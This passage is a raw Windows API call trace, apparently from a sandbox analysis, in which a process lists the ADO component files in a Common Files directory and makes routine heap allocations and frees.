out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado" (normalized: "c:\\program files\\common files\\system\\ado"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0244.786] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0244.786] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x925508, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x925508, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0244.786] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925508) returned 1 [0244.786] NtClose (Handle=0x170) returned 0x0 [0244.786] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.786] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.786] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.786] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.786] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd4e0 [0244.795] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.796] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0244.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.796] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.796] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920430 [0244.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6960 [0244.796] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.796] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0244.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.796] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.796] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920450 [0244.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0244.796] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.796] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.796] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0244.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.796] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.796] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.796] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.797] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.797] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0244.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.797] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.797] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.797] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.797] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0244.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.797] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.797] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920470 [0244.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0244.797] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.797] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0244.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.797] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.797] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920490 [0244.797] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925520 [0244.798] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.798] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.798] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.798] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9204b0 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9255a8 [0244.798] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.798] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.798] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.798] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9204d0 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925630 [0244.798] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.798] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.798] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.798] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9204f0 [0244.798] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9256b8 [0244.799] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.799] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0244.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.799] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.799] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920510 [0244.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925740 [0244.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x980) returned 0x927508 [0244.799] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91fab0) returned 1 [0244.799] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.799] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0244.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.799] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.799] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.799] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.799] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0244.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.799] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.799] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.799] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920530 [0244.800] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9257c8 [0244.800] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.800] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0244.800] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.800] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.800] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.800] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.800] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.800] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.800] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0244.800] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.800] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.800] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.800] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.800] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.800] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.800] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0244.800] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.800] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.800] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.800] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.800] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.800] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920550 [0244.800] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925850 [0244.800] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.800] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0244.801] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.801] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.801] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.801] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.801] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.801] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.801] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0244.801] GetLastError () returned 0x12 [0244.801] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0244.801] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0244.801] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.801] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0244.801] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0244.801] FindNextFileW (in: 